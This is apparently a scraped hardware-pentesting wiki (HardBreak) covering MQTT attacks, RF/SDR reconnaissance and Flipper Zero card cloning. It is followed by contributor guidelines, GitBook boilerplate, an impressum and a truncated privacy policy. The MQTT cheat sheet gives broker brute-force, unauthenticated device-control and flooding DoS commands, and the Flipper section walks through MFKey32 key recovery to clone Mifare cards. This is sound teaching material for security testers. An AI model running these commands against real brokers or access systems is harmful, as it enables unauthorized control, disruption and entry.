[Parrot ANAFI](https://www.parrot.com/en/drones/anafi) # MQTT ## **Theory** MQTT (Message Queuing Telemetry Transport) is a lightweight, publish-subscribe network protocol designed for IoT (Internet of Things) devices. It enables low-bandwidth, real-time communication between clients and a broker. MQTT is widely used in IoT applications, such as smart home systems, health monitors, and industrial automation. Pentesters often target MQTT brokers to exploit weaknesses in authentication, authorization, encryption, and message integrity, as these systems may expose sensitive data or allow attackers to manipulate device behavior. ## **Requirements** 1. Hardware * Laptop or PC to run pentesting tools. * Access to MQTT broker/IoT device network for testing. 2. Software * mosquitto\_pub and mosquitto\_sub (MQTT client utilities for publishing/subscribing messages). * MQTT-Explorer (GUI tool for analyzing MQTT topics and messages). * Wireshark (for network packet analysis). * Nmap (for discovering MQTT services). * Burp Suite (for traffic manipulation, useful if MQTT uses web interfaces or APIs). ## **Cheat Sheet** ```bash # Discover MQTT Broker nmap -p 1883,8883 -sV # Subscribe to all topics (listen for messages) mosquitto_sub -h -p 1883 -t "#" -v # Publish a message to control an IoT device mosquitto_pub -h -p 1883 -t "home/lights" -m "off" # Brute-force MQTT broker credentials with mqtt_pwn ~/mqtt_pwn ⇒ python run.py # Start mqtt_pwn localhost:1883 >> bruteforce --help # Capture unencrypted MQTT traffic (use with Wireshark) tcp.port == 1883 # Denial-of-Service (DoS) Attack on MQTT Broker while true; do mosquitto_pub -h -p 1883 -t "spam/topic" -m "junk data"; done ``` ## **Common Attacks** 1. Discovering MQTT Broker * MQTT brokers typically listen on TCP port 1883 (unencrypted) or 8883 (TLS/SSL). The first step in pentesting an MQTT environment is identifying the broker and verifying if it is publicly Command Example (Discovering MQTT Broker via Nmap): ```bash nmap -p 1883,8883 -sV ``` This scans for open MQTT ports on the target IP and reports service details. 2. Subscribing to MQTT Topics * Once the broker is identified, you can subscribe to topics and listen for messages. If the broker allows anonymous access or lacks proper authentication, an attacker can monitor sensitive data being transmitted between IoT devices. Command Example (Subscribing to All Topics): ```bash mosquitto_sub -h -p 1883 -t "#" -v ``` This subscribes to all topics (`#` is a wildcard) on the broker, displaying message content in real time. 3. Publishing Malicious Messages * Attackers can publish malicious commands to control IoT devices if the broker has weak or no authorization mechanisms. For example, you could control a smart home device by publishing messages on its control topics. Command Example (Publishing a Message to a Topic): 
mosquitto_pub -h <broker_ip> -p 1883 -t "home/lights" -m "off"
This command publishes the message `off` to the `home/lights` topic, potentially turning off the smart lights. 4. Brute-Forcing MQTT Credentials * Some MQTT brokers require authentication, but weak credentials can often be brute-forced. By using common username/password combinations, an attacker might gain access to the broker. Command Example (Brute-Forcing MQTT Credentials with Hydra): ```bash ~/mqtt_pwn ⇒ python run.py #start mqtt_pwn localhost:1883 >> bruteforce --help usage: bruteforce [-h] [-u USERNAME [USERNAME ...] | -uf USERNAMES_FILE] [-p PASSWORD [PASSWORD ...] | -pf PASSWORDS_FILE] ``` 5. Exploiting Insecure MQTT Connections (Man-in-the-Middle Attack) * If the broker uses unencrypted connections (on port 1883), you can perform a man-in-the-middle (MITM) attack by capturing MQTT traffic and injecting commands or stealing data. Command Example (Wireshark Capture Filter for MQTT Traffic): ```bash tcp.port == 1883 ``` This captures unencrypted MQTT traffic, allowing you to inspect and manipulate messages. 6. Denial of Service (DoS) Attack on MQTT Broker * Flooding the broker with excessive publish/subscribe requests can overwhelm it, causing a denial-of-service (DoS) and preventing legitimate devices from communicating. Command Example (Flooding MQTT Topics with Junk Data): ```bash while true; do mosquitto_pub -h -p 1883 -t "spam/topic" -m "junk data"; done ``` This loop repeatedly publishes junk data to overwhelm the broker. ## **Resources** * [1883 - Pentesting MQTT (Mosquitto)](https://book.hacktricks.xyz/network-services-pentesting/1883-pentesting-mqtt-mosquitto) * [Credentials Brute Force](https://mqtt-pwn.readthedocs.io/en/latest/plugins/brute.html) * [IoT Pentesting 101: How to Hack MQTT – The Standard for IoT Messaging](https://securitycafe.ro/2022/04/08/iot-pentesting-101-how-to-hack-mqtt-the-standard-for-iot-messaging/) # CoAP ## **TODO** # Web Sockets ## Theory WebSocket provides a full-duplex communication channel over a single, long-lived TCP connection. It’s often used in IoT applications needing real-time updates, such as dashboards and interactive interfaces. TODO # Introduction Radio hacking involves intercepting, analyzing, and sometimes manipulating the radio frequency (RF) signals used by various devices to communicate wirelessly. In the world of IoT, many devices rely on RF communication to connect and share data. This could include everything from smart home gadgets and remote sensors to wearable technology and industrial equipment. By studying the RF communication of IoT devices, we can gain insights into their data transmission patterns, understand potential security weaknesses and extract sensitve information. One goal could also be to forge or relay signals. Radio hacking can be done with cheap hardware like the RTL-SDR to capture and analyze signals across different frequencies. We will also cover short range radio like RFID or NFC, which Goals: Exploit vulnerabilities (RCE, passive data interception), gain information, understand RF protocol, relaying of signals # Reconnaissance ## Theory Radio Frequency (RF) analysis involves examining the electromagnetic signals emitted by devices to gather information about their behavior and vulnerabilities. Internet of Things (IoT) devices often communicate wirelessly, making RF analysis a valuable technique for penetration testers. By capturing and analyzing the RF signals from these devices, pentesters can uncover weaknesses in the communication protocols, assess the security of the transmitted data, and identify potential attack vectors. ## Usage 1. Check if the manual of your IoT device uses RF communication channels and if yes, at which frequency 2. If the frequency is between 500 Kilohertz (kHz) and 1766 MHz, we can use an RTL-SDR to analyze the sent signals 3. Else we have to use tools like the HackRF or Flipper Zero ## Example with RTL-SDR 1. We can use the [Universal Radio Hacker](https://github.com/jopohl/urh) + the RTL SDR to analyze the frequency 2. Let's assume we see two spikes in the frequency analyzer:
3. We can see that there are two spikes for the signal one at 868.039 MHz and one at 868.058 MHz, so the delta is 19 kHz and the deviation 9.5 kHz. 4. Next, we captured some signals with the RTL-SDR on that frequency of each sensor alone in order to analyze them 5. In the URH Interpretation we can play with the settings (Modulation,Error tolerance etc.) and we will get HEX-coded data back. 1. Note: An encoding will probably be used, so don't expect to see raw ASCII 2. We are looking for an output, which will look like packets: So probably a static header part, size, and data 3. URH has also an automatic analyze function, which will try to find patterns in the recorded data:

Source: https://github.com/jopohl/urh?tab=readme-ov-file

6. If you can interpret the data, you may can intercept sensitive data. ## Resources \*[Demystifying SDR Hacking: A Deep Dive into Wireless Protocols Part:1](https://medium.com/radio-hackers/demystifying-sdr-hacking-a-deep-dive-into-wireless-protocols-part-1-db748b9171ca) * [Universal Radio Hacker Git Repository](https://github.com/jopohl/urh?tab=readme-ov-file) # Protocols # NFC TODO # RFID TODO # Tools # RF Signal Analyzers ## Theory RF Signal Analyzers are essential tools for analyzing and measuring radio frequency (RF) signals, often used in wireless communication systems, IoT devices, and hardware security testing. They allow hardware pentesters to capture, analyze, and decode RF signals for reverse engineering, interference detection, or vulnerability exploitation. Key concepts and functions: * Frequency Spectrum * RF signal analyzers scan and visualize signals over a range of frequencies, typically between a few kHz and several GHz, depending on the device's capabilities. * Modulation * RF signals are often modulated, meaning that they carry information using various modulation schemes like AM, FM, QAM, etc. Analyzers decode these modulations to interpret the transmitted data. * Spectrum Analysis * They use a superheterodyne receiver to mix incoming signals with a known local oscillator signal, allowing the device to display frequency content and power levels in real-time. ## Usage * Signal Capture * RF signal analyzers capture and measure wireless signals, such as Wi-Fi, Bluetooth, Zigbee, and other RF communication protocols. * Frequency Analysis * These tools measure frequency, bandwidth, modulation, and power levels of RF signals, providing valuable insight into communication patterns. * Reverse Engineering * RF analyzers are used to reverse engineer proprietary RF protocols, allowing for potential exploitation or testing of wireless vulnerabilities. * Interference Detection * They help detect unwanted signals or interference that may disrupt or compromise communication. ## Models: * Entry-Level * RTL-SDR(<$15) : supports sub 1 GHZ signals, can only record not send * Mid-Range * Flipper Zero ($200): RF capabilities (capture and send), including RFID and NFC testing * High-End * HackRF One ($350): supports wide range of radio signals # RTL-SDR ## Theory RTL-SDR stands for "RTL2832U Software Defined Radio." It is a low-cost USB device that can receive a wide range of radio frequencies, typically from about 500 kHz to 1.7 GHz. Originally designed for digital TV reception, RTL-SDR has become popular in the fields of amateur radio, signal analysis, and electronic surveillance due to its versatility and affordability. The RTL2832U chip, which is the heart of the device, allows for software-defined radio capabilities by digitizing the received analog signals. By using appropriate software, users can decode various signal types, including FM, AM, SSB, and even digital modes. The flexibility of RTL-SDR lies in its ability to process signals using software running on a computer, enabling users to experiment with different modulation techniques, protocols, and applications without the need for specialized hardware. ## Usage #### Spectrum Analysis One common use case for RTL-SDR is spectrum analysis, which helps users visualize and analyze radio frequency signals in their environment. Here’s how a pentester might leverage RTL-SDR for this purpose: * Setup * The pentester connects the RTL-SDR device to their laptop and installs software such as SDR# (SDRSharp) or GQRX. * Antenna Selection * They choose an appropriate antenna based on the frequencies of interest, such as a dipole antenna for VHF/UHF bands. * Scanning Frequencies * The pentester uses the software to scan a range of frequencies, looking for unexpected signals that could indicate unauthorized transmissions, like rogue wireless devices. * Signal Analysis * By examining the spectrum display, they can identify active frequencies, measure signal strength, and even decode specific types of signals, such as wireless communications or telemetry data. ## Example with RTL-SDR 1. We can use the [Universal Radio Hacker](https://github.com/jopohl/urh) + the RTL SDR to analyze the frequency 2. Let's assume we see two spikes in the frequency analyzer:

Frequency Spectogram

3. We can see that there are two spikes for the signal one at 868.039 MHz and one at 868.058 MHz, so the delta is 19 kHz and the deviation 9.5 kHz. 4. Next, we captured some signals with the RTL-SDR on that frequency of each sensor alone in order to analyze them 5. In the URH Interpretation we can play with the settings (Modulation, Error tolerance etc.) and we will get HEX-coded data back. 1. Note: An encoding will probably be used, so don't expect to see raw ASCII 2. We are looking for an output, which will look like packets: So probably a static header part, size, and data 3. URH has also an automatic analyze function, which will try to find patterns in the recorded data:

Pattern detected

6. If you can interpret the data, you may can intercept sensitive data. ## Resources * [RTL SDR](https://www.rtl-sdr.com/) * [Universal Radio Hacker Git Repository](https://github.com/jopohl/urh?tab=readme-ov-file) # HackRF TODO # Flipper Zero ## Theory The Flipper Zero is a versatile, portable, open-source multi-tool designed for pentesters, security researchers, and hardware enthusiasts. It specializes in wireless communication hacking (like RFID, NFC, and sub-GHz signals) and can also interact with various hardware interfaces such as GPIO, SPI, I2C, and UART. The Flipper Zero is small, user-friendly, and includes a variety of tools for interacting with and manipulating various types of embedded devices and wireless systems. ## Key Features * RFID and NFC * Reads and emulates RFID and NFC cards, making it useful for proximity-based systems. * Sub-GHz Transmitter * Transmits and receives signals in the sub-GHz range, useful for wireless key fobs and smart home devices. * Infrared (IR): * Emulates infrared signals for controlling IR-based devices. * GPIO, SPI, I2C, UART * Provides a physical interface for working with embedded hardware, ideal for debugging, flashing chips, and communication testing. * Modular and Open Source * The community actively develops firmware, making it highly customizable. ## Resources \*[Flipper Zero](https://flipperzero.one/) # NFC The flipper can read and emulate RFID and NFC cards, making it useful for proximity-based systems. ## Example Usage: Clone a Mifare Classic Card #### 1. Go to NFC Menu: * From the main menu, select NFC. * This is where you can read, save, emulate, and write NFC cards. #### 2. Read the Mifare Classic Card: * Place the Mifare Classic card (target card) on the back of the Flipper Zero, where the NFC antenna is located. * In the NFC menu, select Read to start reading the card. * If the card is readable, the Flipper Zero will display the details of the card, including the UID (Unique Identifier). {% tabs %} {% tab title="Mifare Classic" %} * Flipper Zero can read and save data from the following cards: * MIFARE Classic 1K * MIFARE Classic 4K * MIFARE Classic Mini * To read data stored in sectors, Flipper Zero needs to find: * 32 keys for 16 sectors (MIFARE Classic 1K) * 80 keys for 40 sectors (MIFARE Classic 4K) * 10 keys for 5 sectors (MIFARE Classic Mini) * Flipper Zero uses keys from the System dictionary to find these keys. * You can add your keys to the User dictionary by navigating to: * Main Menu -> NFC -> Extra Actions -> MIFARE Classic Keys. If the keys are found in the dictionary the card can now be completley be emulated:

All keys are read

If not, all keys are found we can try to get the missing keys from the card reader, like described here: . Perform the following steps: 1. Read the NFC card and save it with your Flipper Zero. 2. In "Main Menu -> NFC -> Saved -> Name of the saved card" select "Extract MF Keys" which will make the Flipper emulate this card for the MFKey32 attack. 3. Tap your flipper around 10 times onto the corresponding reader of the card, which will collect nonces from the reader 4. Use the MFKey32 app on your flipper or mobile phone(inside flipper app) to try to recover missing keys. 5. read the NFC card again and hope the missing keys are now found 6. if yes you can emulate the card now

Sectors needs to be unlocked

{% endtab %} {% tab title="NFC cards type V" %} Todo {% endtab %} {% tab title="NFC cards type F" %} Todo {% endtab %} {% endtabs %} #### 3. Emulate card If all keys and sectors could be recovered, we can now use the flipper to emulate the card and perform the same action the card itself could do. ## Resources \*[NFC - Flipper Zero Documentation](https://docs.flipper.net/nfc) # Sub-GHz The Flipper Zero is equipped with a built-in CC1101 transceiver that can receive and transmit radio frequencies between 300-928 MHz. It can read, store, and emulate signals from remote controls (like gates,remote switches, wireless doorbells, smart lighting, etc.). The Flipper Zero web page describes all the techniques in detail: Here are some hints: * If you don't know the frequency: Start with the Frequency Analyzer to determine it * If you don't know the modulation: "Read Raw" and try to figure out the correct modulation used * You need to configure the right modulation before reading a signal, else, Flipper Zero will not receive the correct data. Flipper supports: * AM270 * AM650 * FM238 * FM476 # How to contribute Thank you for your interest in contributing to our GitBook project! Your efforts help to create valuable, high-quality content for everyone who relies on this resource. Before you get started, here are a few important guidelines. ## Get started 🚀[​](https://www.thehacker.recipes/contributing#get-started) 1. Fork the repository () to your account 2. Make the changes you want in your forked HardBreak repository, respecting the guidelines below 3. If your changes are ready, make a Pull Request ()\\

Select the original f3nter HardBreak main branch on the left and your updated branch on the right.

4. Your changes will be reviewed as soon as possible and implemented in HardBreak ## Things to Consider Before Making Changes 1. Check for Existing Pages\ Before creating a new page or section, please verify whether a page covering your topic already exists. If yes, consider adding your content to the existing page to maintain coherence and avoid duplication. 2. Contributing to Existing Pages\ When contributing to an existing page, ensure that your additions are seamlessly integrated into the existing content. This helps maintain flow and structure. #### Guidelines for Contributing to Pages 1. **Proper Structure**\ Each page should follow a logical and clear structure that aids both learning and reference. We recommend organizing content into sections like: * Theory: Provide the background or conceptual explanation of the topic. * Cheat Sheet: If possible provide a list of a summary of commands/information * Usage: Include practical applications, examples, or step-by-step guides. * Resources: List any external references, related tools, or further reading. 2. **Citing Other Authors**

If you are incorporating content from another source or author, make sure to credit them in the Resources section. This not only maintains transparency but also respects the intellectual contributions of others.

``` When you use a picture from another author: Put the source in the caption, like : "Source:\" ``` 3\. **Don't use pictures from other sources than your own** ``` The copyright is very strict, when it comes to copying pictures from other sources. Only use your own pictures. ``` 4\. **Language Style**\ Please write in a style that strikes a balance between accessibility and professionalism. The goal is to make the content understandable for a broad audience while retaining an authoritative tone. Aim for clarity, avoiding overly technical jargon where possible, but still providing depth where needed. 5. **Make It Useful for Both Beginners and Experts** * For Beginners: Ensure that your content introduces new topics in a way that is easy to follow, providing enough context and explanation for users who are unfamiliar with the subject. * For Experts: Include details like key commands, configurations, or technical insights that will help more experienced users quickly find the information they need. 6. Check out the [Gitbook - Basics](/contribute/gitbook-basics), which include some markdown hacks like hints, tabs, callouts etc. 1. Example Tabs: 2. Markdown code ```markdown {% tabs %} {% tab title="Windows" %} Here are the instructions for Windows {% endtab %} {% tab title="OSX" %} Here are the instructions for macOS {% endtab %} {% tab title="Linux" %} Here are the instructions for Linux {% endtab %} {% endtabs %} ``` Result: {% tabs %} {% tab title="Windows" %} Here are the instructions for Windows {% endtab %} {% tab title="OSX" %} Here are the instructions for macOS {% endtab %} {% tab title="Linux" %} Here are the instructions for Linux {% endtab %} {% endtabs %} ## Adding a new page If you want to contribute an entirely new page, please update the [SUMMARY.md](https://github.com/f3nter/HardBreak/blob/main/SUMMARY.md) file and include your page in the desired chapter/section. This file is used by GitBook to structure the website. If you do not add your page in the SUMMARY.md file, it won't get displayed on the HardBreak website. # Gitbook - Basics # Markdown GitBook supports many different types of content, and is backed by Markdown — meaning you can copy and paste any existing Markdown files directly into the editor!
Feel free to test it out and copy the Markdown below by hovering over the code block in the upper right, and pasting into a new line underneath. ```markdown # Heading This is some paragraph text, with a [link](https://docs.gitbook.com) to our docs. ## Heading 2 - Point 1 - Point 2 - Point 3 ``` {% hint style="info" %} If you have multiple files, GitBook makes it easy to import full repositories too — allowing you to keep your GitBook content in sync. {% endhint %} # Images & media GitBook allows you to add images and media easily to your docs. Simply drag a file into the editor, or use the file manager in the upper right corner to upload multiple images at once.

Add alt text and captions to your images

{% hint style="info" %} You can also add images simply by copying and pasting them directly into the editor — and GitBook will automatically add it to your file manager. {% endhint %} # Interactive blocks In addition to the default Markdown you can write, GitBook has a number of out-of-the-box interactive blocks you can use. You can find interactive blocks by pressing `/` from within the editor.
### Tabs {% tabs %} {% tab title="First tab" %} Each tab is like a mini page — it can contain multiple other blocks, of any type. So you can add code blocks, images, integration blocks and more to individual tabs in the same tab block. {% endtab %} {% tab title="Second tab" %} Add images, embedded content, code blocks, and more. ```javascript const handleFetchEvent = async (request, context) => { return new Response({message: "Hello World"}); }; ``` {% endtab %} {% endtabs %} ### Expandable sections
Click me to expand Expandable blocks are helpful in condensing what could otherwise be a lengthy paragraph. They are also great in step-by-step guides and FAQs.
### Drawings ![](https://github.com/f3nter/HardBreak/blob/main/contribute/gitbook-basics/broken-reference) # Impressum – Legal Notice ## Besitzer- Owner of Website Jonas Rosenberger Weiglstrasse 9 80636 MĂŒnchen ## Kontakt- Contact E-Mail: Phone: +498920571039 ### Verantwortlich fĂŒr den Inhalt - Responsible person Jonas Rosenberger Weiglstrasse 9 80636 MĂŒnchen Website is hosted on gitbook.com # Privacy Policy \ **PRIVACY POLICY**\ **Last updated October 28, 2024**\ \ \ This Privacy Notice for HardBreak (doing business as HardBreak) ("**we**," "**us**," or "**our**"), describes how and why we might access, collect, store, use, and/or share ("**process**") your personal information when you use our services ("**Services**"), including when you: * Visit our website at , or any website of ours that links to this Privacy Notice * Engage with us in other related ways, including any sales, marketing, or events **Questions or concerns?** Reading this Privacy Notice will help you understand your privacy rights and choices. We are responsible for making decisions about how your personal information is processed. If you do not agree with our policies and practices, please do not use our Services. If you still have any questions or concerns, please contact us at .\ \ **SUMMARY OF KEY POINTS**\ \&#xNAN;***This summary provides key points from our Privacy Notice, but you can find out more details about any of these topics by clicking the link following each key point or by using our table of contents below to find the section you are looking for.***\ **What personal information do we process?** When you visit, use, or navigate our Services, we may process personal information depending on how you interact with us and the Services, the choices you make, and the products and features you use. Learn more about personal information you disclose to us.\ **Do we process any sensitive personal information?** Some of the information may be considered "special" or "sensitive" in certain jurisdictions, for example your racial or ethnic origins, sexual orientation, and religious beliefs. We do not process sensitive personal information.\ **Do we collect any information from third parties?** We do not collect any information from third parties.\ **How do we process your information?** We process your information to provide, improve, and administer our Services, communicate with you, for security and fraud prevention, and to comply with law. We may also process your information for other purposes with your consent. We process your information only when we have a valid legal reason to do so. Learn more about how we process your information.\ **In what situations and with which parties do we share personal information?** We may share information in specific situations and with specific third parties. Learn more about when and with whom we share your personal information.\ **How do we keep your information safe?** We have adequate organizational and technical processes and procedures in place to protect your personal information. However, no electronic transmission over the internet or information storage technology can be guaranteed to be 100% secure, so we cannot promise or guarantee that hackers, cybercriminals, or other unauthorized third parties will not be able to defeat our security and improperly collect, access, steal, or modify your information. Learn more about how we keep your information safe.\ **What are your rights?** Depending on where you are located geographically, the applicable privacy law may mean you have certain rights regarding your personal information. Learn more about your privacy rights.\ **How do you exercise your rights?** The easiest way to exercise your rights is by visiting , or by contacting us. We will consider and act upon any request in accordance with applicable data protection laws.\ Want to learn more about what we do with any information we collect? Review the Privacy Notice in full.\ \ **TABLE OF CONTENTS**\ 1\. WHAT INFORMATION DO WE COLLECT?2. HOW DO WE PROCESS YOUR INFORMATION?3. WHAT LEGAL BASES DO WE RELY ON TO PROCESS YOUR PERSONAL INFORMATION?4. WHEN AND WITH WHOM DO WE SHARE YOUR PERSONAL INFORMATION?5. WHAT IS OUR STANCE ON THIRD-PARTY WEBSITES?6. DO WE USE COOKIES AND OTHER TRACKING TECHNOLOGIES?7. DO WE OFFER ARTIFICIAL INTELLIGENCE-BASED PRODUCTS?8. IS YOUR INFORMATION TRANSFERRED INTERNATIONALLY?9. HOW LONG DO WE KEEP YOUR INFORMATION?10. HOW DO WE KEEP YOUR INFORMATION SAFE?11. WHAT ARE YOUR PRIVACY RIGHTS?12. CONTROLS FOR DO-NOT-TRACK FEATURES13. DO UNITED STATES RESIDENTS HAVE SPECIFIC PRIVACY RIGHTS?14. DO OTHER REGIONS HAVE SPECIFIC PRIVACY RIGHTS?15. DO WE MAKE UPDATES TO THIS NOTICE?16. HOW CAN YOU CONTACT US ABOUT THIS NOTICE?17. HOW CAN YOU REVIEW, UPDATE, OR DELETE THE DATA WE COLLECT FROM YOU?\ \ **1. WHAT INFORMATION DO WE COLLECT?**\ **Personal information you disclose to us**\ \&#xNAN;***In Short:** We collect personal information that you provide to us.*\ We collect personal information that you voluntarily provide to us when you express an interest in obtaining information about us or our products and Services, when you participate in activities on the Services, or otherwise when you contact us.\ **Sensitive Information.** We do not process sensitive information.\ All personal information that you provide to us must be true, complete, and accurate, and you must notify us of any changes to such personal information.\ **Information automatically collected**\ \&#xNAN;***In Short:** Some information — such as your Internet Protocol (IP) address and/or browser and device characteristics — is collected automatically when you visit our Services.*\ We automatically collect certain information when you visit, use, or navigate the Services. This information does not reveal your specific identity (like your name or contact information) but may include device and usage information, such as your IP address, browser and device characteristics, operating system, language preferences, referring URLs, device name, country, location, information about how and when you use our Services, and other technical information. This information is primarily needed to maintain the security and operation of our Services, and for our internal analytics and reporting purposes.\ Like many businesses, we also collect information through cookies and similar technologies. You can find out more about this in our Cookie Notice: .\ The information we collect includes: * *Log and Usage Data.* Log and usage data is service-related, diagnostic, usage, and performance information our servers automatically collect when you access or use our Services and which we record in log files. Depending on how you interact with us, this log data may include your IP address, device information, browser type, and settings and information about your activity in the Services (such as the date/time stamps associated with your usage, pages and files viewed, searches, and other actions you take such as which features you use), device event information (such as system activity, error reports (sometimes called "crash dumps"), and hardware settings). * *Device Data.* We collect device data such as information about your computer, phone, tablet, or other device you use to access the Services. Depending on the device used, this device data may include information such as your IP address (or proxy server), device and application identification numbers, location, browser type, hardware model, Internet service provider and/or mobile carrier, operating system, and system configuration information. * *Location Data.* We collect location data such as information about your device's location, which can be either precise or imprecise. How much information we collect depends on the type and settings of the device you use to access the Services. For example, we may use GPS and other technologies to collect geolocation data that tells us your current location (based on your IP address). You can opt out of allowing us to collect this information either by refusing access to the information or by disabling your Location setting on your device. However, if you choose to opt out, you may not be able to use certain aspects of the Services. **Google API**\ Our use of information received from Google APIs will adhere to [Google API Services User Data Policy](https://developers.google.com/terms/api-services-user-data-policy), including the [Limited Use requirements](https://developers.google.com/terms/api-services-user-data-policy#limited-use).\ \ \ **2. HOW DO WE PROCESS YOUR INFORMATION?**\ \&#xNAN;***In Short:** We process your information to provide, improve, and administer our Services, communicate with you, for security and fraud prevention, and to comply with law. We may also process your information for other purposes with your consent.*\ **We process your personal information for a variety of reasons, depending on how you interact with our Services, including:** * **To save or protect an individual's vital interest.** We may process your information when necessary to save or protect an individual’s vital interest, such as to prevent harm. \ **3. WHAT LEGAL BASES DO WE RELY ON TO PROCESS YOUR INFORMATION?**\ \&#xNAN;***In Short:** We only process your personal information when we believe it is necessary and we have a valid legal reason (i.e., legal basis) to do so under applicable law, like with your consent, to comply with laws, to provide you with services to enter into or fulfill our contractual obligations, to protect your rights, or to fulfill our legitimate business interests.*\ \&#xNAN;***If you are located in the EU or UK, this section applies to you.***\ The General Data Protection Regulation (GDPR) and UK GDPR require us to explain the valid legal bases we rely on in order to process your personal information. As such, we may rely on the following legal bases to process your personal information: * **Consent.** We may process your information if you have given us permission (i.e., consent) to use your personal information for a specific purpose. You can withdraw your consent at any time. Learn more about withdrawing your consent. * **Legal Obligations.** We may process your information where we believe it is necessary for compliance with our legal obligations, such as to cooperate with a law enforcement body or regulatory agency, exercise or defend our legal rights, or disclose your information as evidence in litigation in which we are involved.\\ * **Vital Interests.** We may process your information where we believe it is necessary to protect your vital interests or the vital interests of a third party, such as situations involving potential threats to the safety of any person. ***If you are located in Canada, this section applies to you.***\ We may process your information if you have given us specific permission (i.e., express consent) to use your personal information for a specific purpose, or in situations where your permission can be inferred (i.e., implied consent). You can withdraw your consent at any time.\ In some exceptional cases, we may be legally permitted under applicable law to process your information without your consent, including, for example: * If collection is clearly in the interests of an individual and consent cannot be obtained in a timely way * For investigations and fraud detection and prevention * For business transactions provided certain conditions are met * If it is contained in a witness statement and the collection is necessary to assess, process, or settle an insurance claim * For identifying injured, ill, or deceased persons and communicating with next of kin * If we have reasonable grounds to believe an individual has been, is, or may be victim of financial abuse * If it is reasonable to expect collection and use with consent would compromise the availability or the accuracy of the information and the collection is reasonable for purposes related to investigating a breach of an agreement or a contravention of the laws of Canada or a province * If disclosure is required to comply with a subpoena, warrant, court order, or rules of the court relating to the production of records * If it was produced by an individual in the course of their employment, business, or profession and the collection is consistent with the purposes for which the information was produced * If the collection is solely for journalistic, artistic, or literary purposes * If the information is publicly available and is specified by the regulations \ **4. WHEN AND WITH WHOM DO WE SHARE YOUR PERSONAL INFORMATION?**\ \&#xNAN;***In Short:** We may share information in specific situations described in this section and/or with the following third parties.*\ We may need to share your personal information in the following situations: * **Business Transfers.** We may share or transfer your information in connection with, or during negotiations of, any merger, sale of company assets, financing, or acquisition of all or a portion of our business to another company. * **When we use Google Maps Platform APIs.** We may share your information with certain Google Maps Platform APIs (e.g., Google Maps API, Places API). Google Maps uses GPS, Wi-Fi, and cell towers to estimate your location. GPS is accurate to about 20 meters, while Wi-Fi and cell towers help improve accuracy when GPS signals are weak, like indoors. This data helps Google Maps provide directions, but it is not always perfectly precise. We obtain and store on your device ("cache") your location. You may revoke your consent anytime by contacting us at the contact details provided at the end of this document. \ **5. WHAT IS OUR STANCE ON THIRD-PARTY WEBSITES?**\ \&#xNAN;***In Short:** We are not responsible for the safety of any information that you share with third parties that we may link to or who advertise on our Services, but are not affiliated with, our Services.*\ The Services may link to third-party websites, online services, or mobile applications and/or contain advertisements from third parties that are not affiliated with us and which may link to other websites, services, or applications. Accordingly, we do not make any guarantee regarding any such third parties, and we will not be liable for any loss or damage caused by the use of such third-party websites, services, or applications. The inclusion of a link towards a third-party website, service, or application does not imply an endorsement by us. We cannot guarantee the safety and privacy of data you provide to any third-party websites. Any data collected by third parties is not covered by this Privacy Notice. We are not responsible for the content or privacy and security practices and policies of any third parties, including other websites, services, or applications that may be linked to or from the Services. You should review the policies of such third parties and contact them directly to respond to your questions.\ **6. DO WE USE COOKIES AND OTHER TRACKING TECHNOLOGIES?**\ \&#xNAN;***In Short:** We may use cookies and other tracking technologies to collect and store your information.*\ We may use cookies and similar tracking technologies (like web beacons and pixels) to gather information when you interact with our Services. Some online tracking technologies help us maintain the security of our Services, prevent crashes, fix bugs, save your preferences, and assist with basic site functions.\ We also permit third parties and service providers to use online tracking technologies on our Services for analytics and advertising, including to help manage and display advertisements, to tailor advertisements to your interests, or to send abandoned shopping cart reminders (depending on your communication preferences). The third parties and service providers use their technology to provide advertising about products and services tailored to your interests which may appear either on our Services or on other websites.\ To the extent these online tracking technologies are deemed to be a "sale"/"sharing" (which includes targeted advertising, as defined under the applicable laws) under applicable US state laws, you can opt out of these online tracking technologies by submitting a request as described below under section "DO UNITED STATES RESIDENTS HAVE SPECIFIC PRIVACY RIGHTS?"\ Specific information about how we use such technologies and how you can refuse certain cookies is set out in our Cookie Notice: .\ **Google Analytics**\ We may share your information with Google Analytics to track and analyze the use of the Services. The Google Analytics Advertising Features that we may use include: Remarketing with Google Analytics, Google Display Network Impressions Reporting and Google Analytics Demographics and Interests Reporting. To opt out of being tracked by Google Analytics across the Services, visit . You can opt out of Google Analytics Advertising Features through [Ads Settings](https://adssettings.google.com/) and Ad Settings for mobile apps. Other opt out means include and . For more information on the privacy practices of Google, please visit the [Google Privacy & Terms page](https://policies.google.com/privacy).\ **7. DO WE OFFER ARTIFICIAL INTELLIGENCE-BASED PRODUCTS?**\ \&#xNAN;***In Short:** We offer products, features, or tools powered by artificial intelligence, machine learning, or similar technologies.*\ As part of our Services, we offer products, features, or tools powered by artificial intelligence, machine learning, or similar technologies (collectively, "AI Products"). These tools are designed to enhance your experience and provide you with innovative solutions. The terms in this Privacy Notice govern your use of the AI Products within our Services.\ **Our AI Products**\ Our AI Products are designed for the following functions: * AI search \ **How We Process Your Data Using AI**\ All personal information processed using our AI Products is handled in line with our Privacy Notice and our agreement with third parties. This ensures high security and safeguards your personal information throughout the process, giving you peace of mind about your data's safety.\ **How to Opt Out**\ We believe in giving you the power to decide how your data is used. To opt out, you can: * Contact us using the contact information provided * Log in to your account settings and update your user account \ **8. IS YOUR INFORMATION TRANSFERRED INTERNATIONALLY?**\ \&#xNAN;***In Short:** We may transfer, store, and process your information in countries other than your own.*\ Our servers are located in the United States and United Kingdom. If you are accessing our Services from outside the United States and United Kingdom, please be aware that your information may be transferred to, stored by, and processed by us in our facilities and in the facilities of the third parties with whom we may share your personal information (see "WHEN AND WITH WHOM DO WE SHARE YOUR PERSONAL INFORMATION?" above), in the United States, and other countries.\ If you are a resident in the European Economic Area (EEA), United Kingdom (UK), or Switzerland, then these countries may not necessarily have data protection laws or other similar laws as comprehensive as those in your country. However, we will take all necessary measures to protect your personal information in accordance with this Privacy Notice and applicable law.\ European Commission's Standard Contractual Clauses:\ We have implemented measures to protect your personal information, including by using the European Commission's Standard Contractual Clauses for transfers of personal information between our group companies and between us and our third-party providers. These clauses require all recipients to protect all personal information that they process originating from the EEA or UK in accordance with European data protection laws and regulations. Our Standard Contractual Clauses can be provided upon request. We have implemented similar appropriate safeguards with our third-party service providers and partners and further details can be provided upon request.\ Binding Corporate Rules:\ These include a set of Binding Corporate Rules ("BCRs") established and implemented by us. Our BCRs have been recognized by EEA and UK data protection authorities as providing an adequate level of protection to the personal information we process internationally. You can find a copy of our BCRs here: \_\_\_\_\_\_\_\_\_\_.\ **9. HOW LONG DO WE KEEP YOUR 